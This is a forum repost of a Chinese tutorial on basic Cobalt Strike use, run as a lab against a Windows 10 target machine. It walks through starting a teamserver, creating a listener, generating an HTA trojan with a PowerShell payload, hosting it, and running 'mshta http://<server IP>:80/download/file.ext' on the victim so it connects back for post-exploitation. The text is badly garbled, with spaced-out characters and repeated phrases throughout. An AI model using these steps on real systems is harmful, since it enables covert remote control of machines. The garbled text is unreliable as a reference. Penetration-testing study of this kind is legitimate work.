搜索

[21663] 2021-02-10_CobaltStrike简单使用教程

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-02-10_CobaltStrike简单使用教程 C o b a l t   S t r i k e 简 单 使 用 教 程 y o y o d a n   L e m o n S e c   2 0 2 1 - 0 2 - 1 0 C S 版 本 ： 版 本 ： c o b a l t s t r i k e _ 3 . 1 4 _ p r o 服 务 端 ： 服 务 端 ： k a l i - l i n u x - 2 0 1 9 . 0 4 客 户 端 ： 客 户 端 ： k a l i - l i n u x - 2 0 1 9 . 0 4 靶 机 ： 靶 机 ： w i n 1 0 1 、 在 服 务 端 安 装 好 、 在 服 务 端 安 装 好 C S ， 来 到 解 压 后 的 目 录 终 端 下 ， 输 入 命 令 运 行 团 队 服 务 器 ： ， 来 到 解 压 后 的 目 录 终 端 下 ， 输 入 命 令 运 行 团 队 服 务 器 ： 2 、 可 以 看 到 默 认 连 接 端 口 为 、 可 以 看 到 默 认 连 接 端 口 为 6 5 5 3 5 ， 打 开 客 户 端 （ 客 户 端 可 多 个 任 选 ） ， 此 处 客 户 端 为 ， 打 开 客 户 端 （ 客 户 端 可 多 个 任 选 ） ， 此 处 客 户 端 为 l i n u x 系 统 ， 则 输 入 命 令 系 统 ， 则 输 入 命 令 . / c o b a l t s t r i k e 运 行 运 行 C S ， 如 果 是 ， 如 果 是 w i n d o w s 系 系 统 ， 双 击 统 ， 双 击 c o b a l t s t r i k e . b a t 即 可 。 即 可 。 　 　 如 果 遇 到 以 下 问 题 则 输 入 命 令 c h m o d   a + x   给 文 件 增 加 执 行 权 限 ： 3 、 输 入 开 启 团 队 服 务 器 设 置 的 、 输 入 开 启 团 队 服 务 器 设 置 的 I P 和 密 码 ， 端 口 也 为 服 务 器 连 接 端 口 ， 用 户 名 随 意 填 写 ， 连 接 成 功 后 进 行 和 密 码 ， 端 口 也 为 服 务 器 连 接 端 口 ， 用 户 名 随 意 填 写 ， 连 接 成 功 后 进 行 h a s h 校 验 点 击 校 验 点 击 y e s 即 可 连 接 到 团 队 服 务 器 上 。 即 可 连 接 到 团 队 服 务 器 上 。 . / t e a m s e r v e r   < 服 务 端 I P >   < 自 设 密 码 >
　 　 里 面 的 一 些 参 数 和 工 具 栏 用 法 可 以 借 鉴 文 章 里 的 内 容 自 己 尝 试 ， 这 里 只 演 示 与 靶 机 进 行 交 互 的 步 骤 。 4 、 打 开 后 创 建 监 听 器 ， 点 击 、 打 开 后 创 建 监 听 器 ， 点 击 C o b a l t   S t r i k e   - >   L i s t e n e r s ， 打 开 后 点 击 ， 打 开 后 点 击 A d d 添 加 监 听 器 ， 名 字 随 意 ， 选 择 所 需 的 添 加 监 听 器 ， 名 字 随 意 ， 选 择 所 需 的 p a y l o a d ， 输 入 服 务 器 ， 输 入 服 务 器 I P ， 端 口 选 一 个 未 被 使 ， 端 口 选 一 个 未 被 使 用 的 任 意 端 口 输 入 保 存 。 用 的 任 意 端 口 输 入 保 存 。 5 、 接 着 生 成 木 马 ， 点 击 、 接 着 生 成 木 马 ， 点 击 A t t a c k s - > P a c k a g e s - > H T M L   A p p l i c a t i o n ， 选 择 刚 刚 创 建 的 监 听 器 ， 方 法 此 处 选 择 ， 选 择 刚 刚 创 建 的 监 听 器 ， 方 法 此 处 选 择 P o w e r S h e l l , 点 击 点 击 G e n e r a t e 生 成 ， 选 择 保 存 的 路 径 生 成 ， 选 择 保 存 的 路 径 后 后 s a v e 即 生 成 成 功 。 即 生 成 成 功 。
6 、 然 后 开 启 、 然 后 开 启 w e b 服 务 ， 点 击 服 务 ， 点 击 A t t a c k s - > W e b   D r i v e - b y - > H o s t   F i l e ， 选 择 刚 刚 生 成 的 木 马 文 件 ， 其 他 默 认 即 可 ， 点 击 ， 选 择 刚 刚 生 成 的 木 马 文 件 ， 其 他 默 认 即 可 ， 点 击 L a u n c h ， 生 成 木 马 下 载 链 接 ， 生 成 木 马 下 载 链 接 h t t p : / / < 服 务 器 服 务 器 I P > : 8 0 / d o w n l o a d / f i l e . e x t 。 。 7 、 打 开 靶 机 ， 进 入 控 制 台 ， 使 用 、 打 开 靶 机 ， 进 入 控 制 台 ， 使 用 m s h t a 运 行 木 马 文 件 ： 运 行 木 马 文 件 ： 8 、 运 行 成 功 后 返 回 客 户 端 ， 在 、 运 行 成 功 后 返 回 客 户 端 ， 在 C S 上 即 可 看 到 靶 机 上 线 上 即 可 看 到 靶 机 上 线 9 、 选 中 靶 机 右 击 ， 点 击 、 选 中 靶 机 右 击 ， 点 击 I n t e r a c t 即 可 进 行 交 互 。 即 可 进 行 交 互 。 m s h t a   h t t p : / / < 服 务 器 I P > : 8 0 / d o w n l o a d / f i l e . e x t
1 0 、 由 于 靶 机 默 认 、 由 于 靶 机 默 认 6 0 秒 进 行 一 次 回 传 ， 为 了 方 便 看 到 效 果 这 里 把 时 间 设 置 成 秒 进 行 一 次 回 传 ， 为 了 方 便 看 到 效 果 这 里 把 时 间 设 置 成 5 s ， 输 入 命 令 ， 输 入 命 令 s l e e p   5 ， 得 等 到 时 间 到 了 ， 得 等 到 时 间 到 了 6 0 s 才 可 以 看 到 设 置 成 功 的 反 馈 。 才 可 以 看 到 设 置 成 功 的 反 馈 。 1 1 、 然 后 就 可 以 进 行 之 后 的 后 渗 透 操 作 啦 ！ 、 然 后 就 可 以 进 行 之 后 的 后 渗 透 操 作 啦 ！ 作 者 ： y o y o d a n 出 处 ： h t t p s : / / w w w . c n b l o g s . c o m / I a m y o y o d a n / 本 文 版 权 归 作 者 和 博 客 园 共 有 ， 欢 迎 转 载 ， 但 必 须 给 出 原 文 链 接 ， 并 保 留 此 段 声 明 ， 否 则 保 留 追 究 法 律 责 任 的 权 利 。 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ”
扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理